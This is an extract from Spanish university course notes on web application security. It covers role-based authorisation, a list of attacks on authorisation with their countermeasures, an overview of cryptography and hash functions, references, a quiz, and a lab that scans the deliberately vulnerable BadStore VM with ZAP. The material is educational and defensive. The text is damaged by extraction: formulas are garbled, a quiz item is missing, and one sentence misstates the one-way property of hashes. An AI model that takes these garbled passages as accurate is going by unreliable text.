01.ibm.com/support/knowledgecenter/SS7K4U_8.5.5/com.ibm.websphere.zseries.doc/ae/csec_rolebased
.html?lang=es

El módulo del gestor de acceso contiene dos módulos principales:
o El módulo de permiso de recurso permite determinar los roles necesarios

para un recurso determinado. Este módulo utiliza la tabla de correlación de
recursos con roles que crea el tiempo de ejecución de seguridad durante el inicio
de la aplicación.
Para crear la tabla de correlación de recursos con roles el gestor de acceso de

seguridad lee el descriptor de despliegue de los enterprise beans o del módulo web
(archivo ejb-jar.xml o archivo web.xml).
o El módulo de la tabla de autorizaciones consulta una tabla de rol con usuario

o grupo para determinar si se ha otorgado al cliente uno de los roles necesarios. La
tabla de correlación de roles con usuarios o grupos también conocida como tabla
de autorizaciones la crea el gestor de acceso de seguridad durante el arranque de
la aplicación:
Para crear la tabla de autorizaciones el gestor de acceso de seguridad lee el

archivo de enlaces de aplicación, el archivo ibm-application-bnd.xmi o el
archivo ibm-application-bnd.xml, según corresponda.
La tabla de autorizaciones también puede crearse al acceder a los perfiles
EJBROLE al realizar la autorización mediante Security access facility (por
ejemplo, RACF).
» Ataques a la autorización:
o Secuestro de sesiones (credenciales) mediante sniffing/interceptación/sesion

fixation  repetición/suplantación (ver apartado siguiente).
(http://projects.webappsec.org/w/page/13246960/Session%20Fixation)
o Alteración de parámetros (parameter tampering, cooking poisoning, hidden-
not hiden parameters-URL parameters) se previenen realizando validación de
todos los campos de entrada.
o Cross Site Scripting (XSS)  robo de ID Sesión e Historial (información)
o Manipulación de cabeceras HTML  http response splitting, que dan lugar a
inyección de código HTML y a su vez en a ataques XSS  Secuestro de ID de sesión
(http://projects.webappsec.org/w/page/13246931/HTTP%20Response%20Splitting)
o Cross Site Request Forgery (CSRF)

o TOCTOU time to check - time to use. Para combatir este tipo de ataque hay que
minimizar tiempo de ejecución de las transacciones, sobre todo cuando se están
cambiando permisos. (http://cwe.mitre.org/data/definitions/367.html)
» Prácticas de seguridad:
o Diseño  si la aplicación falla  ir a un estado seguro  invalidar sesión página

inicial.
o Operar con  principio de mínimos privilegios.
o Separación de tareas (administradores, usuarios regulares).
o Definición de políticas de gestión de contraseñas de usuarios robustas, expiración,
concienciación, etc.
o Autorización en cada petición.
o Centralización del mecanismo de autorización.
o Minimizar el desarrollo propio del mecanismo de autorización.
o Protección de los recursos estáticos  sistemas de ficheros.
o Evitar ID sesión inseguros, gestión robusta de ID,s de sesión como paso previo a
autorizar.
o Tener en cuenta el diseño de la aplicación mediante transacciones atómicas y la
protección de accesos a recursos para evitar TOUTOU.
Confidencialidad e integridad
Para conseguir los objetivos de confidencialidad e integridad en los sistemas es necesario

incorporar el uso de la criptografía para cifrar datos tanto en tránsito como almacenados
o validar documentos mediante firma digital para garantizar su integridad y el no
repudio. En este apartado se van a introducir:
» Algoritmos y criptosistemas de clave secreta.

» Algoritmos y criptosistemas de clave pública.
» Algoritmos de firma digital.
» Protocolos criptográficos para comunicaciones y transacciones seguras.

Clasificación de los cripto sistemas actuales
CRIPTO SISTEMAS DE CLAVE PÚBLICA
CRIPTO SISTEMAS DE CLAVE

SECRETA DIFFIE-HELLMAN
RSA
EL GAMAL
Cifrado en Cifrado en
flujo bloque
LFSR
NLFSR IDEA
FILTRADO NO DES
LINEAL TDES
COMBINACIÓN AES
NO LINEAL
Un criptosistema simétrico (de clave secreta) es aquel donde tanto emisor como
receptor comparten la misma clave. El intercambio de claves es una cuestión que se deja
al margen de estudio, pues no es un problema teórico. En los criptosistemas simétricos
para que el emisor y receptor compartan la misma clave esta debe ser «intercambiada»
de alguna forma segura: surge por tanto un dilema: cómo intercambiar estas claves de
forma segura.
Criptosistema de clave secreta

Fuente:
http://www.virtual.unal.edu.co/cursos/sedes/manizales/4060038/lecciones/modulo%201/capitulo%206
/pki.htm
La criptografía de clave secreta, también llamada de clave simétrica, como se ha

dicho anteriormente es aquella que emplea la misma clave k tanto para cifrar como para
descifrar. Presenta el inconveniente de que para ser empleada en comunicaciones la clave
k debe poseerla tanto el emisor como el receptor, para lo cual es necesario que se pueda
transmitir la clave de forma segura.

Se dice que un sistema de cifrado de clave secreta es seguro si ningún ataque conocido
de menor complejidad que la búsqueda exhaustiva sobre el espacio de claves ofrece
mejores resultados que esta. La seguridad depende del emisor y el receptor. Existen dos
operaciones para cifrar transposición y sustitución distinguiendo dos tipos de cifrado de
clave secreta o simétrica:
» Cifrados en bloque. Los criptosistemas basados en cifrados en bloque dividen el

mensaje a cifrar en diversos fragmentos, por lo general de longitud fija y aplican a
cada uno de ellos una transformación criptográfica. La mayoría de estos algoritmos se
basan en los conceptos de confusión y difusión inicialmente propuestos por Shannon,
los cuales se utilizan para anular la redundancia de la fuente
Un buen mecanismo de confusión hará demasiado complicado extraer relaciones

estadísticas entre el texto en claro, el texto cifrado y la clave. Por su parte la difusión
trata de repartir al máximo la influencia de cada bit del mensaje original entre el
mensaje cifrado. Lo que en realidad se hace para conseguir algoritmos fuertes sin
necesidad de almacenar tablas enormes es intercalar la confusión que implica
sustituciones simples con tablas pequeñas con la difusión que implica permutaciones.
Esta combinación se conoce como cifrado de producto. La mayoría de los algoritmos
se basan en diferentes capas de sustituciones y permutaciones, denominadas red de
sustitucion-permutacion.
» Cifrados en flujo. Los sistemas del cifrado en flujo dividen el sistema a cifrar en
caracteres (cuya longitud es mejor que los bloques) para posteriormente cifrar cada
carácter aplicando una función que varía con el tiempo cuya dependencia temporal
está regida por las variables que definen el estado del sistema. Así pues, después del
cifrado de cada carácter, el sistema evoluciona a un nuevo estado de acuerdo con una
determinada regla. Como consecuencia de ello sucede que caracteres idénticos poseen
por lo general cifrados diferentes, lo que contribuye a aumentar la seguridad del
sistema.

Entre los algoritmos de cifrado en bloque más usados para el proceso de encriptación se
encuentran:
» DES (data encryption standard) (Menezes, 1996): es un algoritmo de cifrado por

bloques de 64 bits. Fue ideado por IBM y aceptado por el NIST (national institute of
standars and technology) en 1976. Se trata de un algoritmo de 64 bits de clave de los
cuales 56 bits componen la clave de cifrado propiamente dicha mientras los 8
restantes son de paridad y se usan para corrección de errores.
» Triple-DES (Menezes, 1996) (triple - data encryption standard): dada la capacidad

de cómputo actual y la relativa facilidad que supone romper el algoritmo DES se
desarrolló DES triple, el cual consiste en aplicar tres veces el algoritmo DES en un
orden específico. Primero se cifra el dato con una clave, el resultado de esto es
descifrado con otra clave y por último el resultado del descifrado es cifrado
nuevamente. La clave que se emplea en este último paso puede ser la primera clave
utilizada o puede ser una nueva clave.
» AES (Menezes, 1996) (advanced encryption algorithm): también conocido como

Rijndael, es un esquema de cifrado por bloques adoptado como un estándar de cifrado
para el gobierno de los Estados Unidos. Actualmente es uno de los algoritmos más
populares usados en criptografía simétrica.
» IDEA (international data encryption algorithm): fue creado por Xuejia Lai y James
Massey en 1990. Es un cifrado de bloque que opera sobre mensajes de 64 bits con una
clave de 128 bits. Consiste en ocho transformaciones idénticas (cada una llamada una
ronda) y una transformación de salida (llamada media ronda). Gran parte de la
seguridad de IDEA deriva del intercalado de tres operaciones: Operación O-exclusiva
(XOR) bit a bit, suma módulo 216 y multiplicación módulo 216+1.

Un criptosistema asimétrico (de clave pública) es aquel donde el emisor y receptor

disponen de claves distintas para cifrar y descifrar. Cuando se estudien en el próximo
tema los sistemas de cifrado de clave pública veremos cómo se utilizan estos para el
intercambio «seguro» de claves privadas.
Criptosistema de clave pública

Fuente:
http://www.virtual.unal.edu.co/cursos/sedes/manizales/4060038/lecciones/modulo%201/capitulo%206
/pki.htm
Es especialmente remarcable cómo este tipo de métodos resuelve el problema de

administración de claves de la criptografía simétrica. En aquel caso había que ponerse
de acuerdo, en secreto, en una clave. En este caso cualquiera puede obtener la clave
pública y solo un participante debe conocer la clave privada.
Una forma típica de uso de estos métodos para una red de usuarios es la siguiente:
» Ponerse de acuerdo en un sistema de criptografía pública.

» Creación de parejas de claves por cada usuario.
» Todas las claves públicas se almacenan en una base de datos accesible a todos los
usuarios.
» Cuando el participante A quiere enviar un mensaje al participante B, obtiene la clave
pública de B de la base de datos.
» El participante A cifra su mensaje mediante la clave pública de B y se lo envía a B.
» El participante B recibe el mensaje y lo descifra mediante su clave privada.

Entre los puntos fuertes de los sistemas criptográficos de clave pública se pueden citar:
» Permiten conseguir autenticación y no repudio para muchos protocolos

criptográficos.
» Suelen emplearse, también, dentro de un sistema híbrido en colaboración con
cualquiera de los otros métodos criptográficos.
» Permiten tener una administración sencilla de claves al no necesitar que haya
intercambio de claves seguro.
Entre los puntos débiles se pueden señalar:
» Son algoritmos más lentos que los de clave secreta con lo que no suelen utilizarse
para cifrar gran cantidad de datos.
» Sus implementaciones son comúnmente hechas en sistemas software.
» Para una gran red de usuarios y 10 máquinas requieren un sistema de certificación de
la autenticidad de las claves públicas.
Entre los problemas prácticos de los sistemas que usan criptografía asimétrica se pueden
añadir otros como el hecho de que cada participante (usuario o máquina o proceso) debe
mantener secreta su clave privada que suele ser algo así como 1.000 dígitos al azar o el
complicadísimo problema, ya citado, de cómo está seguro un participante A de que la
clave pública de B es realmente la clave pública de B y no, por ejemplo, la clave pública
de un atacante del sistema.
En los últimos 25 años han aparecido muchos algoritmos asimétricos pero la mayoría
han resultado inseguros. Otros no son prácticos, ya sea porque el resultado cifrado es
bastante mayor que el texto original o porque la longitud de la clave es enorme.
Los algoritmos asimétricos usan longitudes de claves mayores que los simétricos.
Mientras que en estos últimos se considera bastante segura una clave de 128 bits, en los
asimétricos excepto en los basados en curvas elípticas se recomiendan claves de, al
menos, 2048 bits hoy en día.

Entre los métodos de clave pública más usados en protocolos y aplicaciones

criptográficas se pueden destacar:
» Diffie Hellman (Gamal, 1985): es un algoritmo asimétrico basado en el problema

de Diffie-Hellman que se emplea fundamentalmente para acordar una clave común
entre dos interlocutores a través de un canal de comunicación inseguro. La ventaja de
este sistema es que no son necesarias llaves públicas en el sentido estricto sino una
información compartida por los dos comunicantes.
» RSA (Rivest, 1978): debe su nombre a sus tres inventores: Ronald Rivest, Adi Shamir
y Leonard Adleman. Estuvo bajo patente de los Laboratorios RSA hasta el 20 de
septiembre de 2000, por lo que su uso comercial estuvo restringido hasta esa fecha.
De hecho, las primeras versiones de PGP lo incorporaban como método de cifrado y

firma digital pero se desaconsejó su uso a partir de la versión 5 en favor de otros
algoritmos que por entonces serán libres. Sujeto a múltiples controversias, desde su
nacimiento nadie ha conseguido probar o rebatir su seguridad pero se le tiene como
uno de los algoritmos asimétricos más seguros.
» El Gamal (Menezes, 1996): fue diseñado en un principio para producir firmas

digitales pero posteriormente se extendió también para codificar mensajes. Se basa
en el problema de los logaritmos discretos que está íntimamente relacionado con el
de la factorización y en el de Diffe-Hellman.
Firma digital. Una de las operaciones base a la hora de realizar una firma digital de
un documento es la realización de una función resumen de unos cientos de bits
del mismo, cifrado con la clave privada del emisor, pues los sistemas de clave pública son
bastante costosos de realizar a nivel computacional.
Las funciones Hash o message digest realizan una transformación de un mensaje de

longitud arbitraria en otro de longitud constante. Para ello dividen el mensaje
en partes iguales aplicando una función de transformación a cada parte y sumando todos
los resultados obtenidos:
= ℎ( )

Se les denomina de «una sola vía» debido a la propiedad matemática unidireccional

que poseen en la que dado un resumen R es muy fácil calcular su mensaje asociado M.
Firma digital RSA
Las funciones hash para que sean aplicables a la firma digital u otro tipo de aplicaciones
como podría ser la identificación de binarios deben cumplir una serie de propiedades
(Menezes, 1996):
» Unidireccionalidad. Debe ser computacionalmente imposible encontrar M a partir

de un resumen h(M) conocido.
» Compresión El resumen h(M) debe tener una longitud fija, sea cual fuera la longitud
del mensaje. Lo normal es que la longitud de h(M) sea menor que el mensaje M.
» Facilidad de cálculo. Debe ser fácil calcular h(M) a partir de un mensaje M.
» Difusión. El resumen h(M) debe ser una función compleja de todos los bits del
mensaje M: si se modifica un solo bit del mensaje M, el hash h(M) debería cambiar la
mitad de sus bits aproximadamente.
» Colisión. Será computacionalmente imposible conocido M, encontrar otro M’ tal que
h(M) = h(M’). Esto se conoce como resistencia a las colisiones.
En este sentido para minimizar la existencia de colisiones se recomienda utilizar firmas

de al menos 128 bits siendo 160 bits el valor más utilizado. En principio la probabilidad
de colisión vendrá dada por 1/2n (n = nº de bit del resumen) lo que implica que para
encontrar dos mensajes que tuvieran el mismo resumen con una probabilidad mayor del
50% significaría que el espacio de búsqueda sería 1/2n/2, lo que reduce la complejidad.

La mayoría de los algoritmos que implementan una función hash se implementan en

base a procesos iterativos de bloques de tamaño fijo, obtenidos de un proceso
previo de formateo de la entrada para que sea múltiplo del tamaño de dichos
bloques. En la figura siguiente se muestra un modelo generalizado de función hash
(Menezes, 1996):
Algoritmos general función Hash
El algoritmo general de la función hash, presentado en la figura anterior, acepta como

entrada un archivo o mensaje m = x de longitud finita y arbitraria que se divide en
bloques de r bits de longitud fija xi. Seguidamente le aplica un preprocesado que implica
el añadir bits adicionales necesarios (relleno) para alcanzar una longitud múltiplo de la
longitud del bloque de procesado r.

Cada bloque xi obtenido sirve como entrada a una función de compresión h iterativa
que internamente implementa una función f no lineal interna que calcula un nuevo
resultado parcial intermedio de longitud n fija hi correspondiente a la etapa i, el modelo
de forma general es:
= ( , ), 1 ≤ ≤ , ℎ( ) = ( )
Hi-1 sirve como variable de encadenamiento de n bits entre la etapa i - 1 y la etapa i, y H0

es un valor inicial o valor de inicialización predefinido. En la etapa opcionalmente se
utiliza una transformación g para asignar la variable de encadenamiento de n bits a un
resultado g de m bits (Ht) que a menudo es la asignación identidad g(Ht) = Ht.
Los diferentes algoritmos que implementan funciones hash particulares se distinguen

por la naturaleza del pre-procesamiento, la función de compresión y de
transformación de salida.
Los algoritmos disponibles en la actualidad para la realización de este tipo de funciones

tipo resumen son los siguientes:
» MD5 (message-digest algorithm 5). Desarrollado por Ron Rivest en el año1992,

es una evolución mejorada de los algoritmos MD4 y MD2. Sus principales
características son:
o La longitud del resumen de 128 bits.

o Uso para cálculo del hash de las claves de los usuarios en sistemas UNIX y Linux.
o Uso generalizado en Internet para verificar la integridad de archivos binarios
descargados.
o Clasificación e identificación de binarios de malware.
o Se han descubierto métodos para generar colisiones.

» SHA (secure hash algorithm). Es un grupo de funciones hash criptográficas

diseñado por la National security agency (NSA) del gobierno de EE.UU. y publicadas
por el National institute of standards and technology (NIST). Los componentes de
esta familia de funciones publicados son:
o SHA-0. En 1998 se encontró un ataque.

o SHA-1. Similar a MD5 pero con resumen de 160 bits.
o SHA-2. Existen cuatro variantes cuyas diferencias se basan en un diseño algo
modificado y rangos de salida incrementados: SHA-224, SHA-256, SHA-384, y
SHA-512.
» Protocolos criptográficos. El aumento constante del comercio electrónico en

Internet, como transacciones bancarias, compras on-line, etc. de la actividad
empresarial y de las organizaciones y entidades públicas están sujetas a amenazas de
forma constante. También creciente de personas y entidades de diversa índole que
quieren sacar algún tipo de provecho de tipo económico o de acceso a información
relevante o simplemente causar algún tipo de daño por el motivo que sea. Para ello
agentes maliciosos suelen aprovechar vulnerabilidades explotables de los diversos
protocolos que proporcionan los servicios proporcionados por Internet anteriormente
referenciados.
El intercambio de información entre clientes y aplicaciones o entre aplicaciones desde

cualquier dispositivo incluidos los móviles ha de ser lo más seguro posible. Para
conseguir este objetivo se necesitan protocolos criptográficos robustos que aseguren
el intercambio de información entre las partes y también su almacenamiento.
En la referencia (Díaz, 2004) se define protocolo criptográfico como: «protocolo

que usa métodos criptográficos, independientemente de que su objetivo final vaya
más allá de lo que estos permiten conseguir». Incorpora por lo menos uno de los
siguientes aspectos (Wikipedia, protocolo criptográfico):
o Establecimiento de claves.
o Autenticación de entidades.
o Cifrado simétrico y autenticación de mensajes.
o Transporte de datos en forma segura a nivel de aplicación.
o Métodos de no repudio.

Los protocolos criptográficos más utilizados en Internet que utilizan los diferentes
tipos de algoritmos ya descritos en unidades anteriores para asegurar cinco de sus
grupos de servicios más importantes que proporciona Internet son:
o Comercio electrónico: cuyo objetivo es el asegurar todas las transacciones

comerciales que se realicen a través de redes inseguras, en concreto se estudiará la
pareja de protocolos Secure sockets layer (SSL) y Transport layer security (TLS),
los más utilizados en Internet aunque debido a las debilidades presentadas por los
dos protocolos anteriores se desarrolló el protocolo Secure electronic transactions
(SET) que todavía no termina de implantarse masivamente.
o Redes privadas virtuales: cuyo objetivo esencial es asegurar todo el tráfico IP

entre uno o varios sitios de una red insegura como Internet. En concreto se verán
los protocolos que se pueden utilizar para proporcionar este tipo de servicio entre
los que se incluyen protocolos de tunneling como Point to point tunne-iing
protocol (PPTP), Layer 2 tunneling protocol (L2TP) y GRE. El más importante y
extendido de ellos consistente en un grupo de protocolos denominados Internet
protocol security (IPSEC) aunque también se utiliza los protocolo SSL/TLS de los
que se introducirá al alumno la solución OpenVPN de software libre.
o Protocolos de correo electrónico seguro: cuyo principal objetivo es asegurar

el intercambio de mensajes de correo electrónico entre diferentes usuarios. Se
estudiarán las parejas de protocolos más utilizados en este servicio Pretty good
privacy (PGP) y Secure multipurpose Internet mail exchange (S/MIME).
o Protocolo de seguridad web: cuyo objetivo consiste en asegurar el tráfico web

y transacciones entre dos sitios de una red. Se utiliza el protocolo SSL/TLS ya
estudiado en el apartado de comercio electrónico.
o Establecimiento de sesiones: con el objetivo de permitir el establecimiento de

sesiones seguras de tipo carácter y gráficas, así como transferencia de ficheros en
terminales remotos, evitando el envío de passwords en claro por redes inseguras.
Se estudiará el protocolo Secure shell (SSH).

3.4. Referencias
Aguirre, J. (2006). Libro electrónico se seguridad informática y criptografía.

Recuperado (07 de julio de 2013) en,
http://www.criptored.upm.es/guiateoria/gt_m001a.htm
ElGamal, T. (1985). A public-key crypsystem and asignature scheme based on discrete

logarithm, IEEE Transactions on information theory.
Guía SP800-44v2 del NIST, seguridad en servidores web. Recuperado en,

http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf
Menezes, A., Van Oorschot, P. y Vanstone, S. (1996). Handbook of applied

cryptography. Londres: CRC Press.
NTLM Blackhat 2010. Recuperado de

https://www.youtube.com/watch?v=Ewe84XMnsKM
Openid Connect. Recuperado de: http://openid.net/connect/
OWASP TESTING GUIDE v4. Recuperado de

https://www.owasp.org/images/1/19/OTGv4.pdf
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
OWASP Application Security Verification Standard Project. Recuperado de:

https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verificati
on_Standard_Project
OWASP Secure Application Design Project. Recuperado de

https://www.owasp.org/index.php/OWASP_Secure_Application_Design_Project
OWASP Proactive Controls. Recuperado de

https://www.owasp.org/index.php/OWASP_Proactive_Controls
OWASP Secure Coding Practices - Quick Reference Guide. Recuperado de

https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-
_Quick_Reference_Guide

OWASP Cheat Sheet Series. Recuperado de

https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series
https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet
https://www.owasp.org/images/9/9a/OWASP_Cheatsheets_Book.pdf
OWASP Enterprise Security API. Recuperado de

https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=D
ownloads
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
Rivest, R., Shamir, A. y Adleman, L. (1978). A method for obtaining digital signatures
and public-key cryptosystems. Recuperado en,
https://people.csail.mit.edu/rivest/Rsapaper.pdf
Rorascanner for Oracle. Recuperado (26 de mayo de 21015) en,

https://github.com/raesene/rorascanner/blob/master/oracle-scanner.rb
Scuba by imperva database vulnerability scanner (2015). Recuperado en,

https://www.imperva.com/lg/lgw.asp?pid=213
architecture. Croacia: Universidad de Zagreb.

Lo + recomendado
Diseño seguro del control de acceso
Diseño seguro del sistema de control de acceso de una aplicación. Autenticación, gestión
de sesiones y autorización a los recursos de la aplicación.

No dejes de leer…
Attacking web application
Scambray, J., Liu, V. y Sima, C. (2011). Hacking exposed web applications. Estados
Unidos: Mc Graw Hill.
Este libro trata los ataques a la administración y gestión de

servidores de aplicaciones web. Es especialmente recomendable la
lectura del capítulo 8 sobre Attacking web application
management.

https://repo.zenk-security.com/Magazine%20E-
book/Hacking%20Web%20Applications.pdf
Seguridad en servidores de aplicaciones web
Aplicación sobre seguridad en servidores de aplicaciones web. En ellos se instalan las

aplicaciones y en esta guía se abordan todos los aspectos que tienen que ver con la
seguridad de un servidor de aplicaciones genérico que puede servir como base para
implementar todos los aspectos de seguridad de cualquier servidor de aplicaciones.

http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf

Seguridad en Bea weblogic
Seguridad en servidores de aplicaciones Bea Weblogic. Es una guía específica de uno de

los servidores de aplicaciones comerciales más utilizados hoy en día.

https://www.nsa.gov/ia/_files/webs/I33-004R-2005.pdf
Seguridad en navegadores web
Documentos con información sobre seguridad en distintos navegadores web. La capa

cliente constituye el objetivo más frecuente de ataques de las aplicaciones web. Es
necesario hacer hincapié en la configuración segura del equipo del cliente y del
navegador web instalado.
Accede a los documentos desde el aula virtual o a través de la siguiente dirección web:
https://www.veracode.com/blog/2013/03/browser-security-settings-for-chrome-
firefox-and-internet-explorer
https://www.stigviewer.com/stig/microsoft_internet_explorer_11

No dejes de ver…
OWASP ESAPI
Tutorial del proyecto abierto OWASP sobre el API de programación segura de OWASP.

https://www.youtube.com/watch?v=v2j0oVKCZLw

+ Información
A fondo
Diseño de la seguridad en aplicaciones web
OWASP dispone de una guía de diseño y desarrollo seguro respectivamente de los

aspectos de seguridad de una aplicación web.

https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verificati
on_Standard_Project
https://www.owasp.org/index.php/OWASP_Proactive_Controls
https://www.owasp.org/images/b/b2/OWASP_Development_Guide_2.0.1_Spanish.p
df
OWASP
Página del proyecto abierto para seguridad de las aplicaciones web. En su página se
menciona su propósito.


WASC
Página de la WASC, una organización sin ánimo de lucro formada por un grupo
internacional de expertos, profesionales de la industria y representantes de
organizaciones que producen software libre y ampliamente acordados estándares de
seguridad de mejores prácticas para la world wide web.

NIST
Esta página reúne un amplio conocimiento, guías, recursos y proyectos sobre la

implementación de la seguridad del software de aplicaciones, sistemas operativos, bases
de datos y redes de comunicaciones entre otros.


Bibliografía
2.0.Nueva York: Mcgraw Hill.
OWASP. (2005). Guía para construir aplicaciones y servicios web seguros (pp. 146 a
154 y 171 a 154). Recuperado (25 de abril de 2013) en,
https://www.owasp.org/images/b/b2/OWASP_Development_Guide_2.0.1_Spanish.p
df
Scambray, J., Liu, V. y Sima, C. (2010). Hacking Exposed Web Applications 3. Madrid:
McGraw-Hill/Osborne.
Sullivan, B. y Liu V. (2012). Web Application Security, A Beginner's Guide. Nueva

York: McGraw Hill.
Swanson, M., Bowen, P., Wohl Phillips, A., Gallup, D. y Lynes, D. Contingency Planning
Guide for Federal Information Systems (pp. 5 a 10). NIST. Recuperado de:
http://csrc.nist.gov/publications/nistpubs/800-34-rev1/sp800-34-rev1_errata-Nov11-
2010.pdf
Tracy, M., Jansen, W., Scarfone, K. y Winograd, T. (2007). Guidelines on Securing Public
Web Servers. (pp. 5-1 a 5-9, 7-1 a 7-2, 9-1 a 9-5, . 9-5 a 9-9 y 9-14). NIST. Recuperado
de: http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf

Actividades
Laboratorio: Test de penetración a la aplicación BADSTORE

utilizando un scanner de vulnerabilidades de aplicaciones web
Para la realización de este laboratorio primero tendrás que descargarte ORACLE.
Accede a la descarga a través de la siguiente dirección web:

https://www.virtualbox.org/
También tendrás que descargar e instalar ZAP.

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Por último, descarga la máquina virtual con la aplicación BADSTORE.

https://www.dropbox.com/sh/7ewzuosszqslkok/AADL6CSiXkoFPWdmfnwjHDLYa?dl
=0
» Importa el servicio virtualizado badstore.ova desde ORACLE virtualbox.

» En configuración, almacenamiento, asocia la imagen BadStore-212.iso en el
controlador IDE (cdrom) y configura la máquina virtual para que arranque primero
desde el cdrom.
TEMA 3 – Actividades © Universidad Internacional de La Rioja (UNIR)

» Crea una red virtualbox HOST ONLY, virtualbox  archivo, preferencias, red, redes
solo anfitrión, añadir una red, habilitar DCHP y configurar de la siguiente forma:

» Configura el adaptador de red solo-anfitrión con las siguientes direcciones:
» Comprobar en la configuración de la máquina virtual BADSTORE --> RED que el

ADAPTADOR 1 está habilitado y conectado a ADAPTADOR SOLO ANFITRION.
» Arranca la máquina virtual y ejecuta ifconfig -a para comprobar la dirección IP

asociada al dispositivo eth0.
» Incluir en el fichero HOST de la máquina anfitriona la entrada correspondiente a la

dirección IP de ETH0. Por ejemplo si la dirección IP obtenida por DHCP para el
dispositivo ETH0 es 192.168.56.110:
192.168.56.110, www.badstore.net
» Realiza el test de penetración de la aplicación Badstore con el scanner de

vulnerabilidades ZAP atacando al nombre asociado a la dirección del dispositivo eth0
obtenida en el paso anterior. http://www. badstore.net/cgi-bin/badstore.cgi
» Audita manualmente al menos tres vulnerabilidades para comprobar la veracidad de

las alertas por parte de ZAP.
» Se podrá disponer de un procedimiento de test de penetración con ZAP disponible en

vuestra carpeta personal.

Deberás confeccionar una memoria explicando el proceso y resultados obtenidos

adjuntando el informe de la herramienta ZAP.
Extensión máxima: 15 páginas, Georgia 11 e interlineado 1,5.

Test
1. ¿Qué aspectos debe cubrir la seguridad física?

A. Edificios e infraestructuras, personal y documentación.
B. Infraestructura.
C. Personal e infraestructura.
2. ¿Qué tipo de arquitectura es más deseable en los navegadores?

A. Monolítica.
B. Compatible.
C. Modular.
D. Estándar.
3. ¿Qué tipo de mecanismos de seguridad se pueden utilizar para proteger la

comunicación?
A. VPN.
B. SSL-TLS.
C. IPSEC.
D. Todas las anteriores son correctas.
4. ¿Qué servicios de seguridad debe contemplar el servicio de control de acceso en las

aplicaciones web?
A. Identificación y autenticación.
B. Gestión de sesiones.
C. Autorización.
D. Todas las anteriores son correctas.
5. ¿Cuáles son los métodos de autenticación http?

A. SSL.
B. TLS.
C. Basic y digest.

6. ¿Qué protocolo sirve para cifrar la comunicación?

A. SSL.
B. HTTP.
C. HTML.
D. Las herramientas RAST pueden detectar únicamente, bloquear o sanear la
petición.

A. Los métodos de autenticación más seguros son aquellos basados en hardware
tokens, one time passwords, biometric authentication and SSL/TLS client
cerificates.
B. Los métodos de autenticación basados en password y digest son débiles.
C. El método de autenticación http basic es el más seguro.
D. SSL-TLS posibilita autenticación de servidor y de cliente.
8. El problema de que una aplicación web que usa cookies de sesión debe tomar
precauciones especiales para asegurar que un atacante no pueda engañar a usuarios
enviando falsas peticiones tienen que ver con:
A. La procedencia de las peticiones.
B. Mantenimiento del estado de sesión.
C. Ordenamiento de peticiones.
9. El objetivo fundamental del identificador de sesión/cookie es:

A. Mantener el estado de la sesión.
B. Cifrar la comunicación.
C. Ordenar las peticiones.
10. El enfoque de sistema de autorización basado en MAC:

A. Está basado en delegar.
B. Está basado en un enfoque centralizado.
C. Utiliza roles.

Test de la seguridad y protección online
de las aplicaciones web
[4.2] Análisis y test de la seguridad de las aplicaciones web
[4.3] Seguridad en el despliegue y producción de las aplicaciones

web
[4.4] Referencias
TEMA
Test de la seguridad y protección online de las aplicaciones web
Esquema
Seguridad en el despliegue y producción de las
TEMA 4 – Esquema
aplicaciones web
Análisis y test de la seguridad de las

Procedimientos de configuración seguros:
aplicaciones web
contraseñas, control de acceso, etc.
Herramientas de análisis de la
seguridad de las aplicaciones web Monitorización continua
Análisis estático de seguridad de

caja blanca SAST BACKUP Y RECUPERACIÓN
Análisis de seguridad dinámico de

caja negra DAST Respuesta ante incidentes de seguridad
SAST vs DAST Firewalls de aplicaciones web
Análisis de seguridad dinámico de

caja blanca RAST (IAST) RASP
Análisis de seguridad con

herramientas híbridas

Ideas clave
Las aplicaciones web desplegadas en las intranets de las organizaciones y en Internet

suponen un amplio porcentaje del total de las aplicaciones. Por otro lado, los problemas
de seguridad de las aplicaciones no-web son un subconjunto de los problemas de las
aplicaciones web. El tercer tipo de aplicaciones en auge son las aplicaciones móviles
donde el cliente es un smartphone, teléfono móvil, tableta, portátil, etc.
Los ataques a dispositivos móviles están creciendo en la medida que aumenta el uso de
las aplicaciones móviles (m-commerce) para banking, compras, etc. que se pueden
utilizar desde ellos. La arquitectura de estas aplicaciones móviles es similar a la de las
aplicaciones web. La mayor diferencia está en el canal de comunicación y la forma de
proveer comunicación segura.
En este tema se abordan:
» El análisis de la seguridad de una aplicación web ayudándonos de los principales tipos

de herramientas disponibles.
» Las medidas de protección online específicas que se pueden implementar para
proteger una aplicación web desplegada en un entorno de producción.

4.2. Análisis y test de la seguridad de las aplicaciones web
El caso más deseable para atajar las vulnerabilidades del código de una aplicación web
es la prevención, que los desarrolladores posean la formación suficiente en seguridad
para evitar cometer «errores» de programación que suponen vulnerabilidades.
Aunque exista esa formación siempre quedarán vulnerabilidades en el código y no hay

más remedio que, una vez desarrollada la primera versión de la aplicación o por partes
de la misma, pasar a la detección mediante revisiones de código manuales o con
diversos tipos de herramientas automáticas especializadas de revisión de código
fuente o ejecutable de tipo estático, de tipo dinámico en tiempo de ejecución y otras que
se verán más adelante.
También se puede contemplar el análisis manual de Stuttard (2008) en un intento de

«hackeo ético» de la aplicación desplegada, lo cual supone personal muy especializado y
aun así es muy difícil cubrir toda la superficie de ataque de la aplicación y costoso en
tiempo.
Después de las tareas de detección mediante uno u otro método, las vulnerabilidades han
de parchearse, lo que también supone un costo económico y de tiempo. Sin embargo,
siempre será más barato hacerlo en tiempo de desarrollo de la aplicación que una vez
desplegada en producción pasado un tiempo. En la figura siguiente se muestra el
incremento de costo de arreglo de vulnerabilidades en distintas fases de la vida del
software. Se aprecia que se multiplica por sesenta el costo en el período de la aplicación
ya en servicio en relación al tiempo de diseño de la misma.

Incremento del coste
Cost
Time
Para llevar a cabo un análisis de seguridad de una aplicación web, realizado con cualquier
